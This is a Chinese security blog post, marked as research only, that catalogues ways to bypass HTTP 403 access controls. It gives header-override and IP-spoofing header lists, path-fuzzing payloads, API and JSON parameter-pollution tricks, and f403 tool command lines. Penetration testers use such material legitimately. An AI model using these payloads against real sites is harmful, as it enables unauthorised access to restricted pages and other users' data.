REC

网址403禁止访问绕过研究

易航
1年前发布 /正在检测是否收录...

本文只用于安全研究,切勿非法使用,所承担的一切后果均与本人无关!

更改请求方法

GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK

更换协议版本

如果使用 HTTP/1.1,请尝试使用 1.0,或者测试看它是否支持 2.0

更换user-agent

有的应用为了区分爬虫或者正常请求,会验证user-agent,看是否浏览器发出的请求

请求覆盖绕过

通过 X-Original-URL 和 X-Rewrite-URL 请求表头覆盖url中的路径,尝试绕过对更高级别的缓存和web服务器的限制

修改前:
Request
GET /test HTTP/1.1
Response
HTTP/1.1 403 Forbidden

修改后:
Reqeust
GET / HTTP/1.1
X-Original-URL: /test
Response
HTTP/1.1 200 OK

Referer表头饶过

通过更改Referer来绕过不严谨的服务端验证

修改前:
Request
GET /test HTTP/1.1
Host: xxx
Response
HTTP/1.1 403 Forbidden

修改后:
Reqeust
GET / HTTP/1.1
Host: xxx
ReFerer: https://xxx/test
Response
HTTP/1.1 200 OK

HOST绕过

把HOST值修改为子域名或者IP来绕过

端口绕过

一般是运维的疏忽,开放两个端口,只有一个端口做了防护
利用nmap扫端口

HTTP头部绕过

X-Forwarded-For: 127.0.0.1
X-Forwarded: 127.0.0.1
Forwarded-For: 127.0.0.1
Forwarded: 127.0.0.1
X-Requested-With: 127.0.0.1
X-Forwarded-Proto: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-remote-IP: 127.0.0.1
X-remote-addr: 127.0.0.1
True-Client-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
Client-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
Ali-CDN-Real-IP: 127.0.0.1
Cdn-Src-Ip: 127.0.0.1
Cdn-Real-Ip: 127.0.0.1
CF-Connecting-IP: 127.0.0.1
X-Cluster-Client-IP: 127.0.0.1
WL-Proxy-Client-IP: 127.0.0.1
Proxy-Client-IP: 127.0.0.1
Fastly-Client-Ip: 127.0.0.1
True-Client-Ip: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Host: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1

Burp工具:https://github.com/TheKingOfDuck/burpFakeIP
burpFakeIP还可以伪造IP,爆破模块
图片[1] - 网址403禁止访问绕过研究 - 易航博客

目录扫描

御剑:https://github.com/maurosoria/dirsearch

目录扫描时,字典可以混合使用,目前来说御剑的字典还可以,也可以用其他人分享的字典,最重要的还是最后得自己整理下

路径模糊测试

使用特殊字符或包含 HTML 编码
还可尝试大小写绕过、系统特性绕过

///phpmyadmin///
//wp-admin//
/admin
/admin/
/admin//
//admin//
/admin/*
/admin/*/
/admin/.
/admin/./
/./admin/./
/admin/./.
/admin/./.
/admin?
/admin??
/admin???
/admin..;/
/admin/..;/
/%2f/admin
/%2e/admin
/admin%20/
/admin%09/
/%20admin%20/

工具:

https://github.com/iamj0ker/bypass-403
https://github.com/yunemse48/403bypasser
https://github.com/carl1l/f403 #推荐,可以自己diy403,比如自己突然发现新的绕过方法,可以自己写在f403.yaml中

如果直接下载releases,需要同时f403.yaml
或者直接git下载,然后自己使用go编译

-a, --AddHeader strings:这个选项允许用户添加自定义的HTTP头到请求中。例如,如果你想要添加一个Cookie和一个Referer头,你可以这样使用:-a 'cookie:123,Referer:https://www.baidu.com'。

-b, --bypassip strings:这个选项用于添加一个IP地址到特定的HTTP头后面,比如X-Client-IP或X-Forwarded-For,以尝试绕过基于IP的访问限制。例如:-b 192.168.1.1,30.1.1.1。默认值通常是127.0.0.1,localhost。

-h, --help:这个选项会显示f403工具的帮助信息,包括所有可用的命令行选项和它们的用法。

-d, --postdata string:这个选项允许用户在发送POST请求时添加POST数据。你可以传递表单数据,例如:-d 'username=admin&password=123456',或者传递JSON数据:-d '{"username":"admin","password":"123456"}'。

-p, --proxy string:这个选项允许用户通过指定的代理服务器发送请求,支持HTTP和SOCKS5代理。例如:-p 'http://127.0.0.1:8080' 或 -p 'socks5://127.0.0.1:8080'。

-u, --url string:这个选项指定了目标URL,即你想要测试绕过403 Forbidden错误的网址。

简单使用:

./f403 -u http://www.baidu.com/admin/

全参数使用:

./f403 -u http://www.baidu.com/asdf/admin/ -p http://127.0.0.1:8080 -a 'cookie: 123,Referer: https://www.baidu.com' -d 'admin=1&p=1' -b 1.1.1.1

图片[2] - 网址403禁止访问绕过研究 - 易航博客
图片[3] - 网址403禁止访问绕过研究 - 易航博客
图片[4] - 网址403禁止访问绕过研究 - 易航博客
图片[5] - 网址403禁止访问绕过研究 - 易航博客
图片[6] - 网址403禁止访问绕过研究 - 易航博客

Burp工具:403 Bypasser

图片[7] - 网址403禁止访问绕过研究 - 易航博客

其他方法

主要是利用API的特性或者各种语言的特性

/v3/users_data/1234 --> 403 Forbidden
/v1/users_data/1234 --> 200 OK
V3提示403,但v1可能是废弃忘删除的,所以可以绕过

{“id”:111} --> 401 Unauthriozied
{“id”:[111]} --> 200 OK

{“id”:111} --> 401 Unauthriozied
{“id”:{“id”:111}} --> 200 OK

{"user_id":"<legit_id>","user_id":"<victims_id>"} (JSON 参数污染)
user_id=ATTACKER_ID&user_id=VICTIM_ID (参数污染)
© 版权声明
本站用户发帖仅代表本站用户个人观点,并不代表本站赞同其观点和对其真实性负责。
转载本网站任何内容,请按照转载方式正确书写本站原文地址。
THE END
喜欢就支持一下吧
点赞 1 分享 赞赏
评论 抢沙发
取消 登录评论